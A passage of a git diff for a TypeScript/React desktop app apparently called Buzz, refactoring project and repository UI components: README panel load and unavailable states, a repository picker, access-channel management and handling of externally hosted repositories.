+                    ? latestCommit.hash.slice(0, 7)
+                    : "—"}
+                </dd>
+              </div>
+              <div className="flex items-center justify-between gap-3">
+                <dt className="flex items-center gap-1.5 text-muted-foreground">
+                  <FileCode2 className="h-3.5 w-3.5" />
+                  Files
+                </dt>
+                <dd className="font-medium text-foreground">
+                  {gitDataAvailable ? files.length : "—"}
+                </dd>
+              </div>
+              <div className="flex items-center justify-between gap-3">
+                <dt className="flex items-center gap-1.5 text-muted-foreground">
+                  <Users className="h-3.5 w-3.5" />
+                  Contributors
+                </dt>
+                <dd className="font-medium text-foreground">
+                  {gitDataAvailable ? contributors.length : "—"}
+                </dd>
+              </div>
+            </dl>
+          </OverviewRailSection>
+        </aside>
+      ) : null}
     </div>
   );
 }
diff --git a/desktop/src/features/projects/ui/ProjectPullRequestFilesChangedPanel.tsx b/desktop/src/features/projects/ui/ProjectPullRequestFilesChangedPanel.tsx
index ae41725788..7e67ea3ae7 100644
--- a/desktop/src/features/projects/ui/ProjectPullRequestFilesChangedPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectPullRequestFilesChangedPanel.tsx
@@ -28,9 +28,9 @@ import * as React from "react";
 import { toast } from "sonner";
 
 import {
-  type Project,
   type ProjectPullRequest,
   type ProjectPullRequestCommentAnchor,
+  type Repository as Project,
   useCreateProjectPullRequestCommentMutation,
 } from "@/features/projects/hooks";
 import { canReviewProjectPullRequest } from "@/features/projects/pullRequestReviews";
diff --git a/desktop/src/features/projects/ui/ProjectPullRequestsPanel.tsx b/desktop/src/features/projects/ui/ProjectPullRequestsPanel.tsx
index c93691a924..54e3689e40 100644
--- a/desktop/src/features/projects/ui/ProjectPullRequestsPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectPullRequestsPanel.tsx
@@ -16,13 +16,12 @@ import {
 import * as React from "react";
 import { toast } from "sonner";
 
-import { useAppNavigation } from "@/app/navigation/useAppNavigation";
 import { useIsManagedAgent } from "@/features/agent-memory/hooks";
-import { useChannelsQuery } from "@/features/channels/hooks";
+import { ProjectOriginReference } from "./ProjectOriginReference";
 import { ForumComposer } from "@/features/forum/ui/ForumComposer";
 import {
-  type Project,
   type ProjectPullRequest,
+  type Repository as Project,
   type ProjectPullRequestCommentAnchor,
   useCreateProjectPullRequestCommentMutation,
 } from "@/features/projects/hooks";
@@ -331,14 +330,6 @@ export function PullRequestDetailHeader({
   pullRequest: ProjectPullRequest;
 }) {
   const authorLabel = labelForPubkey(pullRequest.author, profiles);
-  const sourceChannelId = pullRequest.channelId;
-  const { goChannel } = useAppNavigation();
-  const channelsQuery = useChannelsQuery({
-    enabled: Boolean(sourceChannelId),
-  });
-  const sourceChannel = channelsQuery.data?.find(
-    (channel) => channel.id === sourceChannelId,
-  );
 
   return (
     <header className="min-w-0 space-y-1 p-4 pb-4">
@@ -364,27 +355,10 @@ export function PullRequestDetailHeader({
         <span title={formatExactTimestamp(pullRequest.createdAt)}>
           created {relativeTime(pullRequest.createdAt)}
         </span>
-        {sourceChannelId ? (
-          <span
-            className="inline-flex min-w-0 items-center gap-1"
-            title="Source channel is claimed by the pull request author and is not relay-verified."
-          >
-            <span>linked from</span>
-            {sourceChannel ? (
-              <button
-                aria-label={`Open author-claimed source channel #${sourceChannel.name}`}
-                className="truncate font-medium text-foreground underline-offset-2 hover:underline"
-                onClick={() => void goChannel(sourceChannel.id)}
-                type="button"
-              >
-                #{sourceChannel.name}
-              </button>
-            ) : (
-              <span>an unavailable channel</span>
-            )}
-            <span>(author-claimed)</span>
-          </span>
-        ) : null}
+        <ProjectOriginReference
+          agentName={pullRequest.originAgentName}
+          channelId={pullRequest.channelId}
+        />
       </p>
     </header>
   );
diff --git a/desktop/src/features/projects/ui/ProjectReadmePanel.tsx b/desktop/src/features/projects/ui/ProjectReadmePanel.tsx
index 9150f5a0c2..290733aeca 100644
--- a/desktop/src/features/projects/ui/ProjectReadmePanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectReadmePanel.tsx
@@ -1,6 +1,19 @@
-import { BookOpen } from "lucide-react";
+import {
+  BookOpen,
+  CircleAlert,
+  CloudOff,
+  DownloadCloud,
+  ExternalLink,
+  GitBranch,
+  Globe,
+  Loader2,
+  LockKeyhole,
+  RefreshCw,
+} from "lucide-react";
 
 import type { ProjectRepoFile } from "@/features/projects/hooks";
+import type { ProjectRepoUnavailableReason } from "@/features/projects/lib/projectRepoAvailability";
+import { Button } from "@/shared/ui/button";
 import { Markdown, SyntaxHighlightedCode } from "@/shared/ui/markdown";
 import {
   baseName,
@@ -13,6 +26,7 @@ import {
   RepoSyncActionButton,
   RepositoryBranchDropdown,
 } from "./ProjectRepositorySource";
+import { GitHubMark } from "./GitHubMark";
 
 export function findReadmeFile(files: ProjectRepoFile[]) {
   const readmes = files.filter((file) =>
@@ -78,9 +92,17 @@ function normalizeReadmeMarkdown(content: string) {
 
 export function ReadmePanel({
   file,
+  gitDataState,
+  externalHost,
+  externalUrl,
   sourceControls,
+  unavailableReason,
 }: {
   file: ProjectRepoFile | null;
+  gitDataState: "checking" | "available" | "empty" | "unavailable";
+  externalHost?: string;
+  externalUrl?: string | null;
+  unavailableReason?: ProjectRepoUnavailableReason;
   /** Branch picker + remote/local toggle rendered in the panel header. */
   sourceControls?: RepoSourceHeaderControls;
 }) {
@@ -125,13 +147,146 @@ export function ReadmePanel({
     </>
   );
 
+  if (gitDataState === "checking") {
+    return (
+      <section className="overflow-hidden">
+        {header}
+        <div className="flex items-center gap-2 p-6 text-sm text-muted-foreground">
+          <Loader2 className="h-4 w-4 animate-spin" />
+          Loading repository…
+        </div>
+      </section>
+    );
+  }
+
+  if (gitDataState === "unavailable") {
+    const reason = unavailableReason ?? "unknown";
+    const unavailableContent = {
+      authentication: {
+        description:
+          "Buzz could not authenticate with this repository. Check your access and try again.",
+        icon: LockKeyhole,
+        title: "Repository access failed",
+      },
+      missing: {
+        description:
+          "The project announcement exists, but its git repository was not found on the Buzz relay.",
+        icon: CircleAlert,
+        title: "Repository not initialized",
+      },
+      network: {
+        description:
+          "The Buzz git service could not be reached. Check your connection and try again.",
+        icon: CloudOff,
+        title: "Couldn’t reach repository",
+      },
+      ref: {
+        description:
+          "The selected branch is advertised by the project but is missing from its git remote.",
+        icon: GitBranch,
+        title: "Branch unavailable",
+      },
+      unknown: {
+        description:
+          "Buzz could not load this repository. Try again or contact the project owner.",
+        icon: CircleAlert,
+        title: "Repository unavailable",
+      },
+    } satisfies Record<
+      ProjectRepoUnavailableReason,
+      {
+        description: string;
+        icon: typeof CircleAlert;
+        title: string;
+      }
+    >;
+    const unavailable = unavailableContent[reason];
+    const UnavailableIcon = unavailable.icon;
+
+    return (
+      <section className="overflow-hidden">
+        <div className="flex min-h-64 flex-col items-center justify-center p-8 text-center">
+          <div className="mb-4 flex h-12 w-12 items-center justify-center rounded-xl border border-border/60 bg-muted/40 text-muted-foreground">
+            {externalHost === "github.com" ? (
+              <GitHubMark className="h-6 w-6" />
+            ) : externalHost ? (
+              <Globe className="h-6 w-6" />
+            ) : (
+              <UnavailableIcon className="h-6 w-6" />
+            )}
+          </div>
+          <h3 className="text-base font-semibold text-foreground">
+            {externalHost
+              ? `Code hosted on ${externalHost}`
+              : unavailable.title}
+          </h3>
+          <p className="mt-1 max-w-lg text-sm text-muted-foreground">
+            {externalHost
+              ? "Clone this repository locally to explore its files, commits, and contributors in Buzz."
+              : unavailable.description}
+          </p>
+          {externalUrl ? (
+            <a
+              className="mt-2 max-w-lg truncate font-mono text-xs text-primary hover:underline focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+              href={externalUrl}
+              rel="noreferrer"
+              target="_blank"
+            >
+              {externalUrl}
+            </a>
+          ) : null}
+          <div className="mt-4 flex flex-wrap items-center justify-center gap-2">
+            {!externalHost && sourceControls?.onFetch ? (
+              <Button
+                disabled={sourceControls.fetchPending}
+                onClick={sourceControls.onFetch}
+                size="sm"
+                variant="outline"
+              >
+                {sourceControls.fetchPending ? (
+                  <Loader2 className="h-4 w-4 animate-spin" />
+                ) : (
+                  <RefreshCw className="h-4 w-4" />
+                )}
+                {sourceControls.fetchPending ? "Retrying…" : "Retry"}
+              </Button>
+            ) : null}
+            {externalHost && sourceControls?.onCloneLocal ? (
+              <Button
+                disabled={sourceControls.clonePending}
+                onClick={sourceControls.onCloneLocal}
+                size="sm"
+              >
+                {sourceControls.clonePending ? (
+                  <Loader2 className="h-4 w-4 animate-spin" />
+                ) : (
+                  <DownloadCloud className="h-4 w-4" />
+                )}
+                {sourceControls.clonePending ? "Cloning…" : "Clone locally"}
+              </Button>
+            ) : null}
+            {externalUrl ? (
+              <Button asChild size="sm" variant="outline">
+                <a href={externalUrl} rel="noreferrer" target="_blank">
+                  <ExternalLink className="h-4 w-4" />
+                  Open on {externalHost}
+                </a>
+              </Button>
+            ) : null}
+          </div>
+        </div>
+      </section>
+    );
+  }
+
   if (!file?.previewContent) {
     return (
       <section className="overflow-hidden">
-        {sourceControls ? header : null}
+        {header}
         <div className="p-6 text-sm text-muted-foreground">
-          Add a README to this repository to describe setup, usage, and project
-          context.
+          {gitDataState === "empty"
+            ? "No files have been pushed to this repository yet."
+            : "Add a README to this repository to describe setup, usage, and project context."}
         </div>
       </section>
     );
diff --git a/desktop/src/features/projects/ui/ProjectRepositoryManagement.tsx b/desktop/src/features/projects/ui/ProjectRepositoryManagement.tsx
new file mode 100644
index 0000000000..f1a9c8a150
--- /dev/null
+++ b/desktop/src/features/projects/ui/ProjectRepositoryManagement.tsx
@@ -0,0 +1,169 @@
+import * as React from "react";
+import { Check, ShieldCheck } from "lucide-react";
+import { toast } from "sonner";
+
+import { useChannelsQuery } from "@/features/channels/hooks";
+import type { Project, Repository } from "@/features/projects/hooks";
+import { useAddProjectRepositoryMutation } from "@/features/projects/useAddProjectRepository";
+import { useAttachProjectRepositoryMutation } from "@/features/projects/useAttachProjectRepository";
+import { useBindProjectRepositoryChannelMutation } from "@/features/projects/useBindProjectRepositoryChannel";
+import { Button } from "@/shared/ui/button";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+} from "@/shared/ui/dropdown-menu";
+import { AddProjectRepositoryDialog } from "./AddProjectRepositoryDialog";
+import { AttachProjectRepositoryDialog } from "./AttachProjectRepositoryDialog";
+import { ProjectRepositoryPicker } from "./ProjectRepositoryPicker";
+
+export function ProjectRepositoryManagement({
+  identityPubkey,
+  onChange,
+  project,
+  projects,
+  repository,
+}: {
+  identityPubkey?: string;
+  onChange: (repositoryId: string) => void;
+  project: Project;
+  projects: Project[];
+  repository: Repository;
+}) {
+  const [createOpen, setCreateOpen] = React.useState(false);
+  const [attachOpen, setAttachOpen] = React.useState(false);
+  const channelsQuery = useChannelsQuery();
+  const createMutation = useAddProjectRepositoryMutation();
+  const attachMutation = useAttachProjectRepositoryMutation();
+  const repairMutation = useBindProjectRepositoryChannelMutation();
+  const canEdit = identityPubkey?.toLowerCase() === project.owner.toLowerCase();
+  const accessChannels = React.useMemo(
+    () =>
+      (channelsQuery.data ?? []).filter(
+        (channel) =>
+          channel.isMember &&
+          !channel.archivedAt &&
+          channel.channelType !== "dm",
+      ),
+    [channelsQuery.data],
+  );
+  const inheritedChannelId = [
+    repository.channelId,
+    project.projectChannelId,
+    project.repositories.find(
+      (candidate) => candidate.id !== repository.id && candidate.channelId,
+    )?.channelId,
+  ].find(
+    (candidate) =>
+      candidate && accessChannels.some((channel) => channel.id === candidate),
+  );
+  const canManageAccess =
+    accessChannels.length > 0 &&
+    identityPubkey?.toLowerCase() === repository.owner.toLowerCase();
+  const attachCandidates = React.useMemo(() => {
+    const currentAddresses = new Set(project.repositoryAddresses);
+    const candidates = new Map<string, Repository>();
+    for (const candidateProject of projects) {
+      for (const candidate of candidateProject.repositories) {
+        if (!currentAddresses.has(candidate.repoAddress)) {
+          candidates.set(candidate.repoAddress, candidate);
+        }
+      }
+    }
+    return [...candidates.values()].sort((left, right) =>
+      left.name.localeCompare(right.name),
+    );
+  }, [project.repositoryAddresses, projects]);
+
+  return (
+    <>
+      <AddProjectRepositoryDialog
+        accessChannelId={inheritedChannelId ?? undefined}
+        channels={accessChannels}
+        isCreating={createMutation.isPending}
+        onAdd={async (input) => {
+          const result = await createMutation.mutateAsync(input);
+          onChange(result.repository.id);
+          toast.success(`Repository "${result.repository.name}" created.`);
+        }}
+        onOpenChange={setCreateOpen}
+        open={createOpen}
+        project={project}
+      />
+      <AttachProjectRepositoryDialog
+        isAttaching={attachMutation.isPending}
+        onAttach={async (candidate) => {
+          const result = await attachMutation.mutateAsync({
+            project,
+            repository: candidate,
+          });
+          onChange(result.repository.id);
+          toast.success(`Repository "${result.repository.name}" added.`);
+        }}
+        onOpenChange={setAttachOpen}
+        open={attachOpen}
+        project={project}
+        repositories={attachCandidates}
+      />
+      <ProjectRepositoryPicker
+        onAttach={canEdit ? () => setAttachOpen(true) : undefined}
+        onChange={onChange}
+        onCreate={canEdit ? () => setCreateOpen(true) : undefined}
+        project={project}
+        repository={repository}
+      />
+      {canManageAccess ? (
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <Button
+              className="h-8 shrink-0 gap-1.5"
+              disabled={repairMutation.isPending}
+              size="sm"
+              type="button"
+              variant="outline"
+            >
+              <ShieldCheck className="h-3.5 w-3.5" />
+              {repairMutation.isPending ? "Updating…" : "Access"}
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end" className="min-w-56">
+            <DropdownMenuLabel>Repository access channel</DropdownMenuLabel>
+            {accessChannels.map((channel) => (
+              <DropdownMenuItem
+                className="justify-between gap-4"
+                key={channel.id}
+                onSelect={() => {
+                  if (channel.id === repository.channelId) return;
+                  void repairMutation
+                    .mutateAsync({
+                      channelId: channel.id,
+                      repository,
+                    })
+                    .then(() => {
+                      toast.success(
+                        `Repository access set to #${channel.name}.`,
+                      );
+                    })
+                    .catch((error: unknown) => {
+                      toast.error(
+                        error instanceof Error
+                          ? error.message
+                          : "Failed to update repository access.",
+                      );
+                    });
+                }}
+              >
+                <span className="min-w-0 truncate">#{channel.name}</span>
+                {channel.id === repository.channelId ? (
+                  <Check className="h-4 w-4 shrink-0" />
+                ) : null}
+              </DropdownMenuItem>
+            ))}
+          </DropdownMenuContent>
+        </DropdownMenu>
+      ) : null}
+    </>
+  );
+}
diff --git a/desktop/src/features/projects/ui/ProjectRepositoryPanel.tsx b/desktop/src/features/projects/ui/ProjectRepositoryPanel.tsx
index 9aa67189f9..c4becd9057 100644
--- a/desktop/src/features/projects/ui/ProjectRepositoryPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectRepositoryPanel.tsx
@@ -618,6 +618,7 @@ export function RepositoryFilesPanel({
   profiles,
   fallbackAuthorPubkey,
   sourceControls,
+  unavailableMessage,
 }: {
   files: ProjectRepoFile[];
   snapshot: ProjectRepoSnapshot | null | undefined;
@@ -627,6 +628,7 @@ export function RepositoryFilesPanel({
   fallbackAuthorPubkey?: string;
   /** Branch picker + remote/local toggle rendered in the panel header. */
   sourceControls?: RepoSourceHeaderControls;
+  unavailableMessage?: string;
 }) {
   const [currentPath, setCurrentPath] = React.useState("");
   const [selectedFile, setSelectedFile] =
@@ -683,11 +685,13 @@ export function RepositoryFilesPanel({
   // remote/local toggle must stay reachable when one source fails to load.
   const stateMessage = isLoading
     ? "Loading repository files…"
-    : error
-      ? "Could not load the repository file tree."
-      : files.length === 0
-        ? "No files have been pushed yet."
-        : null;
+    : unavailableMessage
+      ? unavailableMessage
+      : error
+        ? "Could not load the repository file tree."
+        : files.length === 0
+          ? "No files have been pushed yet."
+          : null;
   if (stateMessage) {
     if (!sourceControls) {
       return (
diff --git a/desktop/src/features/projects/ui/ProjectRepositoryPicker.tsx b/desktop/src/features/projects/ui/ProjectRepositoryPicker.tsx
new file mode 100644
index 0000000000..889ac0af36
--- /dev/null
+++ b/desktop/src/features/projects/ui/ProjectRepositoryPicker.tsx
@@ -0,0 +1,130 @@
+import {
+  Check,
+  ChevronDown,
+  FolderPlus,
+  GitBranch,
+  Link,
+  Plus,
+} from "lucide-react";
+
+import type { Project, Repository } from "@/features/projects/hooks";
+import { Button } from "@/shared/ui/button";
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuLabel,
+  DropdownMenuTrigger,
+} from "@/shared/ui/dropdown-menu";
+
+export function ProjectRepositoryPicker({
+  onAttach,
+  onChange,
+  onCreate,
+  project,
+  repository,
+}: {
+  onAttach?: () => void;
+  onChange: (repositoryId: string) => void;
+  onCreate?: () => void;
+  project: Project;
+  repository: Repository;
+}) {
+  const repositoryLabel = (
+    <>
+      <GitBranch className="h-3.5 w-3.5" />
+      <span className="truncate">{repository.name}</span>
+    </>
+  );
+  const unavailableRepositories = project.unavailableRepositoryAddresses ?? [];
+
+  return (
+    <div className="flex items-center gap-1.5">
+      {project.repositoryAddresses.length === 1 ? (
+        <div
+          className="flex h-8 max-w-64 shrink-0 items-center gap-1.5 rounded-md border border-input bg-background px-3 text-sm font-medium"
+          data-testid="project-repository-picker"
+        >
+          {repositoryLabel}
+        </div>
+      ) : (
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <Button
+              aria-label="Select repository"
+              className="h-8 max-w-64 shrink-0 gap-1.5"
+              data-testid="project-repository-picker"
+              size="sm"
+              variant="outline"
+            >
+              {repositoryLabel}
+              <ChevronDown className="h-3.5 w-3.5 text-muted-foreground" />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end" className="min-w-56">
+            <DropdownMenuLabel>Repositories</DropdownMenuLabel>
+            {project.repositories.map((candidate) => (
+              <DropdownMenuItem
+                className="justify-between gap-4"
+                data-testid={`project-repository-${candidate.dtag}`}
+                key={candidate.id}
+                onSelect={() => onChange(candidate.id)}
+              >
+                <span className="min-w-0 truncate">{candidate.name}</span>
+                {candidate.id === repository.id ? (
+                  <Check className="h-4 w-4 shrink-0" />
+                ) : null}
+              </DropdownMenuItem>
+            ))}
+            {unavailableRepositories.map((address) => (
+              <DropdownMenuItem
+                className="justify-between gap-4"
+                disabled
+                key={address}
+              >
+                <span className="min-w-0 truncate">
+                  {address.slice(address.indexOf(":", 6) + 1)}
+                </span>
+                <span className="ml-auto text-xs text-muted-foreground">
+                  Unavailable
+                </span>
+              </DropdownMenuItem>
+            ))}
+          </DropdownMenuContent>
+        </DropdownMenu>
+      )}
+      {onCreate && onAttach ? (
+        <DropdownMenu>
+          <DropdownMenuTrigger asChild>
+            <Button
+              aria-label="Add repository"
+              className="h-8 w-8 shrink-0"
+              data-testid="add-project-repository"
+              size="icon"
+              type="button"
+              variant="outline"
+            >
+              <Plus className="h-3.5 w-3.5" />
+            </Button>
+          </DropdownMenuTrigger>
+          <DropdownMenuContent align="end">
+            <DropdownMenuItem
+              data-testid="create-project-repository"
+              onSelect={onCreate}
+            >
+              <FolderPlus className="h-4 w-4" />
+              Create new repository
+            </DropdownMenuItem>
+            <DropdownMenuItem
+              data-testid="attach-project-repository"
+              onSelect={onAttach}
+            >
+              <Link className="h-4 w-4" />
+              Add existing repository
+            </DropdownMenuItem>
+          </DropdownMenuContent>
+        </DropdownMenu>
+      ) : null}
+    </div>
+  );
+}
diff --git a/desktop/src/features/projects/ui/ProjectRepositorySource.tsx b/desktop/src/features/projects/ui/ProjectRepositorySource.tsx
index 83943b2834..f1c9ecd451 100644
--- a/desktop/src/features/projects/ui/ProjectRepositorySource.tsx
+++ b/desktop/src/features/projects/ui/ProjectRepositorySource.tsx
@@ -2,7 +2,9 @@ import {
   ChevronDown,
   Cloud,
   DownloadCloud,
+  ExternalLink,
   GitBranch,
+  Globe,
   HardDrive,
   Loader2,
   Plus,
@@ -23,6 +25,7 @@ import {
   DropdownMenuSeparator,
   DropdownMenuTrigger,
 } from "@/shared/ui/dropdown-menu";
+import { GitHubMark } from "./GitHubMark";
 import { PROJECT_PANEL_ACTION_BUTTON_CLASS } from "./projectPanelStyles";
 
 /** Branch picker shared by the readme and files panel headers. */
@@ -181,6 +184,8 @@ export type RepoSourceHeaderControls = {
   localDisabled: boolean;
   localLabel: string;
   remoteLabel: string;
+  remoteKind?: "buzz" | "external";
+  externalUrl?: string | null;
   /** Clones the repository when no local checkout is available. */
   onCloneLocal?: () => void;
   clonePending?: boolean;
@@ -213,7 +218,13 @@ export function RepoSourceDropdown({
 }) {
   const isLocal = controls.source === "local";
   const cloneLocal = controls.localDisabled && controls.onCloneLocal;
-  const SourceIcon = isLocal ? HardDrive : Cloud;
+  const RemoteIcon =
+    controls.remoteKind === "external"
+      ? controls.remoteLabel === "github.com"
+        ? GitHubMark
+        : Globe
+      : Cloud;
+  const SourceIcon = isLocal ? HardDrive : RemoteIcon;
   return (
     <DropdownMenu>
       <DropdownMenuTrigger asChild>
@@ -238,7 +249,7 @@ export function RepoSourceDropdown({
           value={controls.source}
         >
           <DropdownMenuRadioItem value="remote">
-            <Cloud className="mr-1.5 h-3.5 w-3.5 text-muted-foreground" />
+            <RemoteIcon className="mr-1.5 h-3.5 w-3.5 text-muted-foreground" />
             {controls.remoteLabel}
           </DropdownMenuRadioItem>
           {!cloneLocal ? (
@@ -280,6 +291,23 @@ export function RepoSyncActionButton({
 }: {
   controls: RepoSourceHeaderControls;
 }) {
+  if (controls.remoteKind === "external") {
+    return controls.externalUrl ? (
+      <Button
+        asChild
+        className={PROJECT_PANEL_ACTION_BUTTON_CLASS}
+        size="sm"
+        title={`Open repository on ${controls.remoteLabel}`}
+        variant="ghost"
+      >
+        <a href={controls.externalUrl} rel="noreferrer" target="_blank">
+          <ExternalLink className="h-4 w-4" />
+          Open
+        </a>
+      </Button>
+    ) : null;
+  }
+
   const pull = controls.canPull && controls.onPull;
   const push = controls.canPush && controls.onPush;
 
diff --git a/desktop/src/features/projects/ui/ProjectWorkspaceTabs.tsx b/desktop/src/features/projects/ui/ProjectWorkspaceTabs.tsx
index a6fd329907..1548f3607b 100644
--- a/desktop/src/features/projects/ui/ProjectWorkspaceTabs.tsx
+++ b/desktop/src/features/projects/ui/ProjectWorkspaceTabs.tsx
@@ -16,11 +16,14 @@ import type {
   ProjectRepoContributor,
   ProjectRepoDiff,
   ProjectRepoSnapshot,
+  Repository,
 } from "@/features/projects/hooks";
 import {
   commitAuthorPubkeysFromPullRequests,
   type ViewerGitIdentity,
 } from "@/features/projects/lib/projectContributorMatching";
+import type { ProjectRepoHost } from "@/features/projects/lib/projectRepoHost";
+import { projectRepoUnavailableReason } from "@/features/projects/lib/projectRepoAvailability";
 import type { UserProfileLookup } from "@/features/profile/lib/identity";
 import { Button } from "@/shared/ui/button";
 import { Tabs, TabsContent } from "@/shared/ui/tabs";
@@ -31,7 +34,10 @@ import { ProjectCommitDetailPanel } from "./ProjectCommitDetailPanel";
 import { ActivityPanel, ContributorsPanel } from "./ProjectDetailFeedPanels";
 import { ProjectIssuesPanel } from "./ProjectIssuesPanel";
 import type { OpenMergeRecoveryTerminal } from "./MergePullRequestButton";
-import { ProjectOverviewPanel } from "./ProjectOverviewPanel";
+import {
+  type GitDataState,
+  ProjectOverviewPanel,
+} from "./ProjectOverviewPanel";
 import {
   PullRequestDetailHeader,
   PullRequestMetaRail,
@@ -56,7 +62,11 @@ import { PROJECT_PANEL_ACTION_BUTTON_CLASS } from "./projectPanelStyles";
 type CreatePullRequestAction = {
   projects: Project[];
   reposDir?: string | null;
-  onCreated: (project: Project, pullRequestId: string) => void | Promise<void>;
+  onCreated: (
+    project: Project,
+    repository: Repository,
+    pullRequestId: string,
+  ) => void | Promise<void>;
 };
 
 type CreateIssueAction = {
@@ -116,6 +126,7 @@ export function WorkspaceTabs({
   localSnapshotError,
   localSnapshotLoading,
   project,
+  projectId,
   repoDiff,
   repoDiffError,
   repoDiffLoading,
@@ -138,6 +149,7 @@ export function WorkspaceTabs({
   profiles,
   repoContributors,
   repoSource,
+  repoHost,
   sourceControls,
   terminalTitle,
   viewerGitIdentity,
@@ -151,7 +163,8 @@ export function WorkspaceTabs({
   localSnapshot: ProjectLocalRepoSnapshot | null | undefined;
   localSnapshotError: unknown;
   localSnapshotLoading: boolean;
-  project: Project;
+  project: Repository;
+  projectId: string;
   repoDiff: ProjectRepoDiff | null | undefined;
   repoDiffError: unknown;
   repoDiffLoading: boolean;
@@ -175,6 +188,7 @@ export function WorkspaceTabs({
   profiles?: UserProfileLookup;
   repoContributors: ProjectRepoContributor[];
   repoSource: "remote" | "local";
+  repoHost: ProjectRepoHost;
   /** Branch picker + remote/local toggle for the Code tab header. */
   sourceControls?: RepoSourceHeaderControls;
   terminalTitle?: string;
@@ -191,6 +205,23 @@ export function WorkspaceTabs({
     displayedSnapshot?.contributors ?? repoContributors;
   const files = displayedSnapshot?.files ?? [];
   const readmeFile = React.useMemo(() => findReadmeFile(files), [files]);
+  const externalHost =
+    repoSource === "remote" && repoHost.kind === "external"
+      ? repoHost.host
+      : undefined;
+  const gitDataState: GitDataState = displayedSnapshotLoading
+    ? "checking"
+    : externalHost || displayedSnapshotError || !displayedSnapshot
+      ? "unavailable"
+      : files.length === 0
+        ? "empty"
+        : "available";
+  const unavailableReason =
+    gitDataState === "unavailable" && !externalHost
+      ? projectRepoUnavailableReason(displayedSnapshotError)
+      : undefined;
+  const repositoryLoaded =
+    gitDataState === "available" || gitDataState === "empty";
   const commitAuthorPubkeys = React.useMemo(
     () => commitAuthorPubkeysFromPullRequests(pullRequests),
     [pullRequests],
@@ -199,6 +230,15 @@ export function WorkspaceTabs({
     pullRequests.find(
       (pullRequest) => pullRequest.id === selectedPullRequestId,
     ) ?? null;
+  const selectedCommitPullRequest = React.useMemo(
+    () =>
+      pullRequests.find(
+        (pullRequest) =>
+          pullRequest.commit === selectedCommitHash ||
+          pullRequest.initialCommit === selectedCommitHash,
+      ),
+    [pullRequests, selectedCommitHash],
+  );
   const isPullRequestSelected = Boolean(selectedPullRequest);
   const [selectedTab, setSelectedTab] = React.useState("overview");
   const [pullRequestCommentTarget, setPullRequestCommentTarget] =
@@ -278,34 +318,36 @@ export function WorkspaceTabs({
       onValueChange={handleTabChange}
       value={selectedTab}
     >
-      <div className="flex h-10 min-w-0 items-center gap-1">
-        <ProjectTabsList prsActive={isPullRequestSelected} />
-        {onOpenTerminal ? (
-          <Button
-            aria-label="Open terminal"
-            className="h-8 w-8 shrink-0 text-muted-foreground hover:text-foreground"
-            onClick={() => onOpenTerminal()}
-            size="icon"
-            title={terminalTitle ?? "Open terminal"}
-            variant="ghost"
-          >
-            <SquareTerminal className="h-[1.125rem] w-[1.125rem]" />
-          </Button>
-        ) : null}
-        {updatePullRequestAction ? (
-          <Button
-            className="h-8 shrink-0 gap-1.5"
-            disabled={updatePullRequestAction.pending}
-            onClick={updatePullRequestAction.onUpdate}
-            size="sm"
-            title="Publish the pushed commit to this pull request"
-            variant="outline"
-          >
-            <RefreshCw className="h-4 w-4" />
-            {updatePullRequestAction.pending ? "Updating…" : "Update PR"}
-          </Button>
-        ) : null}
-      </div>
+      {repositoryLoaded ? (
+        <div className="flex h-10 min-w-0 items-center gap-1">
+          <ProjectTabsList prsActive={isPullRequestSelected} />
+          {onOpenTerminal ? (
+            <Button
+              aria-label="Open terminal"
+              className="h-8 w-8 shrink-0 text-muted-foreground hover:text-foreground"
+              onClick={() => onOpenTerminal()}
+              size="icon"
+              title={terminalTitle ?? "Open terminal"}
+              variant="ghost"
+            >
+              <SquareTerminal className="h-[1.125rem] w-[1.125rem]" />
+            </Button>
+          ) : null}
+          {updatePullRequestAction ? (
+            <Button
+              className="h-8 shrink-0 gap-1.5"
+              disabled={updatePullRequestAction.pending}
+              onClick={updatePullRequestAction.onUpdate}
+              size="sm"
+              title="Publish the pushed commit to this pull request"
+              variant="outline"
+            >
+              <RefreshCw className="h-4 w-4" />
+              {updatePullRequestAction.pending ? "Updating…" : "Update PR"}
+            </Button>
+          ) : null}
+        </div>
+      ) : null}
       {selectedPullRequest ? (
         <div className={PROJECT_DETAIL_PANEL_CLASS} data-project-detail-panel>
           {/* Two full-height columns: the meta rail runs all the way to the
@@ -370,7 +412,10 @@ export function WorkspaceTabs({
       <TabsContent className="m-0" value="overview">
         <ProjectOverviewPanel
           contributors={displayedContributors}
+          externalHost={externalHost}
+          externalUrl={externalHost ? sourceControls?.externalUrl : null}
           files={files}
+          gitDataState={gitDataState}
           onViewContributors={() => setSelectedTab("contributors")}
           profiles={profiles}
           project={project}
@@ -378,6 +423,7 @@ export function WorkspaceTabs({
           readmeFile={readmeFile}
           snapshot={displayedSnapshot}
           sourceControls={sourceControls}
+          unavailableReason={unavailableReason}
         />
       </TabsContent>
 
@@ -395,6 +441,8 @@ export function WorkspaceTabs({
             diff={commitDiff}
             diffError={commitDiffError}
             diffLoading={commitDiffLoading}
+            originAgentName={selectedCommitPullRequest?.originAgentName}
+            originChannelId={selectedCommitPullRequest?.channelId}
             profiles={profiles}
           />
         ) : (
@@ -480,6 +528,11 @@ export function WorkspaceTabs({
           profiles={profiles}
           snapshot={displayedSnapshot}
           sourceControls={sourceControls}
+          unavailableMessage={
+            externalHost
+              ? `Not mirrored on Buzz. Repository files are hosted on ${externalHost}.`
+              : undefined
+          }
         />
       </TabsContent>
 
@@ -491,7 +544,7 @@ export function WorkspaceTabs({
       </TabsContent>
       {createPullRequestAction && createPullRequestOpen ? (
         <CreatePullRequestDialog
-          initialProjectId={project.id}
+          initialProjectId={projectId}
           onCreated={createPullRequestAction.onCreated}
           onOpenChange={setCreatePullRequestOpen}
           open
diff --git a/desktop/src/features/projects/ui/ProjectsActivityFeed.tsx b/desktop/src/features/projects/ui/ProjectsActivityFeed.tsx
index 011b50a735..eb47fbc812 100644
